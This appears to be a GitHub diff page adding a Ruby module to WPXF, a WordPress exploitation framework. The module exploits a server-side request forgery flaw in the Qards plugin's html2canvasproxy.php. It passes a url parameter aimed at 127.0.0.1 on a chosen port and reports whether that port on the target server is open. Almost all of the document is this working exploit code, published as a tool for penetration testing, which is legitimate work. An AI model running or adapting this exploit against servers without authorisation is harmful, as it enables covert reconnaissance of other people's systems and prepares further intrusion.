This repository was archived by the owner on Oct 22, 2020. It is now read-only.
File tree Expand file tree Collapse file tree 1 file changed +66
-0
lines changed
Expand file tree Collapse file tree 1 file changed +66
-0
lines changed Original file line number Diff line number Diff line change 1+ # frozen_string_literal: true
2+
3+ class Wpxf ::Auxiliary ::QardsLocalPortScan < Wpxf ::Module
4+ include Wpxf
5+
6+ def initialize
7+ super
8+
9+ update_info (
10+ name : 'Qards Local Port Scan' ,
11+ desc : %(
12+ This module exploits a server side request forgery vulnerability, which
13+ enables a remote user to check if a service is running on a local port.
14+ ) ,
15+ author : [
16+ 'theMiddle' , # Disclosure
17+ 'Rob Carr <rob[at]rastating.com>' # WPXF module
18+ ] ,
19+ references : [
20+ [ 'WPVDB' , '8933' ]
21+ ] ,
22+ date : 'Oct 11 2017'
23+ )
24+
25+ register_options ( [
26+ PortOption . new (
27+ name : 'lport' ,
28+ desc : 'The port number to scan' ,
29+ required : true ,
30+ default : 22
31+ )
32+ ] )
33+ end
34+
35+ def check
36+ res = execute_get_request ( url : scan_url )
37+ res &.code == 200 ? :vulnerable : :safe
38+ end
39+
40+ def scan_url
41+ normalize_uri ( wordpress_url_plugins , 'qards' , 'html2canvasproxy.php' )
42+ end
43+
44+ def lport
45+ normalized_option_value ( 'lport' )
46+ end
47+
48+ def run
49+ return false unless super
50+
51+ res = execute_get_request ( url : scan_url , params : { 'url' => "http://127.0.0.1:#{ lport } " } )
52+
53+ unless res &.code == 200
54+ emit_error 'Response code was not 200' , true
55+ return false
56+ end
57+
58+ if res . body . match? ( /SOCKET: Connection refused/ )
59+ emit_warning "Port #{ lport } is closed"
60+ else
61+ emit_success "Port #{ lport } is open"
62+ end
63+
64+ true
65+ end
66+ end
You can’t perform that action at this time.
0 commit comments